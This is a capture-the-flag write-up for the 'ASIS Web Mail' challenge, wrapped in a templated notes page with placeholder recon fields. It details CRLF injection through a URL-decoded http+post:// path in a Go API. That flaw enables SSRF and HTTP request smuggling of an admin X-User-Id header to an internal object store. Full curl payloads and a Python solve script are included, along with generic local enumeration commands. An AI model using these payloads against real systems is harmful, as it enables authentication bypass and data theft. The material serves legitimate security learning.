ASIS Web Mail
ASIS Web Mail
Platform: Asis Ctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2025-12-27 | Status: Solved Techniques: CRLF injection through URL-decoded path, Go binary reverse engineering for protocol analysis, HTTP Request Smuggling to inject admin headers, Microservices architecture exploitation, SSRF via custom URL scheme (http+post://)
Summary
Task: access an admin-only FLAG bucket in a microservices webmail application. Solution: exploit CRLF injection in a Go binary's http+post:// URL handler that URL-decodes the path before raw TCP, smuggling HTTP requests with X-User-Id:999 admin header to the internal ObjectStore.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
ASIS CTF| ID:20251227_asis_webmail - Tags: flask, ssrf, postgresql, header_injection, nginx, gunicorn, crlf_injection, http_request_smuggling, go_binary_reversing, microservices, xml_parsing, url_decoding
- Indicators: Custom URL scheme in XML parsing (http+post://), Go binary with XML struct containing attachment_url field, Internal ObjectStore service with X-User-Id header authentication, URL path decoding before raw TCP connection, Microservices architecture with internal network
- Source:
20251227_asis_webmail.md
Foothold
Vulnerability / Misconfiguration
- CRLF injection through URL-decoded path
- Go binary reverse engineering for protocol analysis
- HTTP Request Smuggling to inject admin headers
- Microservices architecture exploitation
- SSRF via custom URL scheme (http+post://)
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- CRLF injection through URL-decoded path
- Go binary reverse engineering for protocol analysis
- HTTP Request Smuggling to inject admin headers
- Microservices architecture exploitation
- SSRF via custom URL scheme (http+post://)
- Tags: flask, ssrf, postgresql, header_injection, nginx, gunicorn, crlf_injection, http_request_smuggling, go_binary_reversing, microservices, xml_parsing, url_decoding
Original Writeup
<details><summary>Click to expand original content</summary>Challenge Description
A "secure military-grade" web mail application with microservices architecture:
| Service | Technology | Port | Function |
|---|---|---|---|
| Frontend | nginx | 80 | Reverse proxy, auth_request |
| SSO | Node.js | 3001 | Authentication, JWT tokens |
| API | Go binary | 3002 | Mail operations, XML parsing |
| ObjectStore | Python Flask | 8082 | File storage, FLAG bucket |
| Database | PostgreSQL | 5432 | User/mail data |
Goal: Access the FLAG bucket in ObjectStore (requires X-User-Id: 999 - admin).
Architecture Analysis
nginx Configuration
# Blocks external X-User-Id headers
if ($http_x_user_id != "") {
return 400;
}
# Auth request to SSO for /api/ routes
location /api/ {
auth_request /auth;
auth_request_set $auth_user_id $upstream_http_x_user_id;
proxy_set_header X-User-Id $auth_user_id;
proxy_pass http://api_up/;
}
ObjectStore Authentication (app.py)
def require_auth(f):
@wraps(f)
def wrapper(*args, **kwargs):
user_id = request.headers.get("X-User-Id", "")
if not user_id:
return jsonify({"error":"authorization required"}), 401
is_admin = user_id == "999" # Admin check!
kwargs.update({"is_admin": is_admin})
return f(*args, **kwargs)
return wrapper
# FLAG bucket requires admin
if bucket == "FLAG" and is_admin is False:
return jsonify({"error":"forbidden"}), 403
Vulnerability Discovery
Go Binary Reverse Engineering
Decompiling the Go API binary revealed an XML struct for email composition:
type ComposeXML struct {
To string `xml:"to"`
Subject string `xml:"subject"`
Body string `xml:"body"`
AttachmentUrl string `xml:"attachment_url"`
NotificationUrl string `xml:"notification_url"`
}
The downloadAttachmentPost function processes http+post:// URLs:
func downloadAttachmentPost(urlStr string) ([]byte, error) {
// Parse URL: http+post://host:port/path
// URL-decode the path <-- CRITICAL VULNERABILITY!
decodedPath := url.PathUnescape(path)
// Open raw TCP connection
conn, _ := net.Dial("tcp", host+":"+port)
// Send HTTP POST request
request := fmt.Sprintf("POST %s HTTP/1.1\r\nHost: %s\r\n...", decodedPath, host)
conn.Write([]byte(request))
// ...
}
Key vulnerability: The path is URL-decoded before being inserted into the HTTP request, allowing CRLF injection!
Exploitation
Attack Chain
- Register/Login to get JWT token
- Send XML with malicious
attachment_urlcontaining CRLF-encoded payload - SSRF to internal ObjectStore with smuggled admin headers
- Retrieve flag from FLAG bucket
Step 1: Authentication
# Register
curl -X POST "http://target/sso/register" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"password123"}'
# Login
TOKEN=$(curl -s -X POST "http://target/sso/login" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"password123"}' | jq -r '.token')
Step 2: List FLAG Bucket
# CRLF payload to list FLAG bucket with admin header
PAYLOAD="/FLAG%20HTTP/1.1%0d%0aHost:%20objectstore%0d%0aX-User-Id:%20999%0d%0a%0d%0aGET%20/FLAG%20HTTP/1.1%0d%0aHost:%20objectstore%0d%0aX-User-Id:%20999%0d%0a%0d%0a"
curl -X POST "http://target/api/compose" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: text/xml" \
-d "<message>
<to>attacker@mail.local</to>
<subject>SSRF Test</subject>
<body>test</body>
<attachment_url>http+post://objectstore:8082$PAYLOAD</attachment_url>
</message>"
Response: {"bucket":"FLAG","objects":["flag-0750c96cfc2bd4b665865da15e9d5b94.txt"]}
Step 3: Retrieve Flag
# CRLF payload to read specific flag file
PAYLOAD="/FLAG/flag-0750c96cfc2bd4b665865da15e9d5b94.txt%20HTTP/1.1%0d%0aHost:%20objectstore%0d%0aX-User-Id:%20999%0d%0a%0d%0aGET%20/FLAG/flag-0750c96cfc2bd4b665865da15e9d5b94.txt%20HTTP/1.1%0d%0aHost:%20objectstore%0d%0aX-User-Id:%20999%0d%0a%0d%0a"
curl -X POST "http://target/api/compose" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: text/xml" \
-d "<message>
<to>attacker@mail.local</to>
<subject>Get Flag</subject>
<body>test</body>
<attachment_url>http+post://objectstore:8082$PAYLOAD</attachment_url>
</message>"
HTTP Request Smuggling Explained
When the Go binary processes our malicious URL, it creates this raw TCP data:
POST /FLAG/flag-xxx.txt HTTP/1.1 <- Terminated early by injected CRLF Host: objectstore X-User-Id: 999 <- Injected admin header! GET /FLAG/flag-xxx.txt HTTP/1.1 <- Smuggled second request Host: objectstore X-User-Id: 999 <- Injected admin header! POST ... HTTP/1.1 <- Original request (ignored) Host: objectstore Content-Type: text/plain Content-Length: 0
The ObjectStore (Flask/gunicorn) processes the smuggled GET request with the admin header, bypassing authentication!
Why This Works
- URL Decoding:
%0d%0abecomes\r\n(CRLF) - Raw TCP: Go opens raw socket, no HTTP library validation
- Request Pipelining: gunicorn processes multiple requests on same connection
- Header Injection:
X-User-Id: 999makes ObjectStore think we're admin
Solve Script
#!/usr/bin/env python3
import requests
import urllib.parse
TARGET = "http://target"
# Register and login
s = requests.Session()
s.post(f"{TARGET}/sso/register", json={"username":"pwn","password":"pwn"})
r = s.post(f"{TARGET}/sso/login", json={"username":"pwn","password":"pwn"})
token = r.json()["token"]
headers = {"Authorization": f"Bearer {token}", "Content-Type": "text/xml"}
# CRLF injection payload
def make_payload(path):
smuggled = f"{path} HTTP/1.1\r\nHost: objectstore\r\nX-User-Id: 999\r\n\r\n"
smuggled += f"GET {path} HTTP/1.1\r\nHost: objectstore\r\nX-User-Id: 999\r\n\r\n"
return urllib.parse.quote(smuggled, safe='')
# Step 1: List FLAG bucket
payload = make_payload("/FLAG")
xml = f"""<message>
<to>pwn@mail.local</to>
<subject>List</subject>
<body>x</body>
<attachment_url>http+post://objectstore:8082{payload}</attachment_url>
</message>"""
r = s.post(f"{TARGET}/api/compose", headers=headers, data=xml)
print("Bucket listing:", r.text)
# Step 2: Get flag file (parse filename from response)
flag_file = "flag-0750c96cfc2bd4b665865da15e9d5b94.txt" # From step 1
payload = make_payload(f"/FLAG/{flag_file}")
xml = f"""<message>
<to>pwn@mail.local</to>
<subject>Flag</subject>
<body>x</body>
<attachment_url>http+post://objectstore:8082{payload}</attachment_url>
</message>"""
r = s.post(f"{TARGET}/api/compose", headers=headers, data=xml)
print("Flag:", r.text)
Lessons Learned
- Never URL-decode user input before inserting into HTTP requests
- Use HTTP client libraries instead of raw sockets for HTTP
- Validate internal service headers with cryptographic signatures
- Defense in depth: Even internal services should verify auth tokens
References
- CRLF Injection
- HTTP Request Smuggling
- SSRF via URL Parsing
Files
- Challenge source:
tasks/asis/webmail/ASIS_Mail/ - ObjectStore:
objectstore/app.py - nginx config:
frontend/nginx.conf - Go API binary:
api/api
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR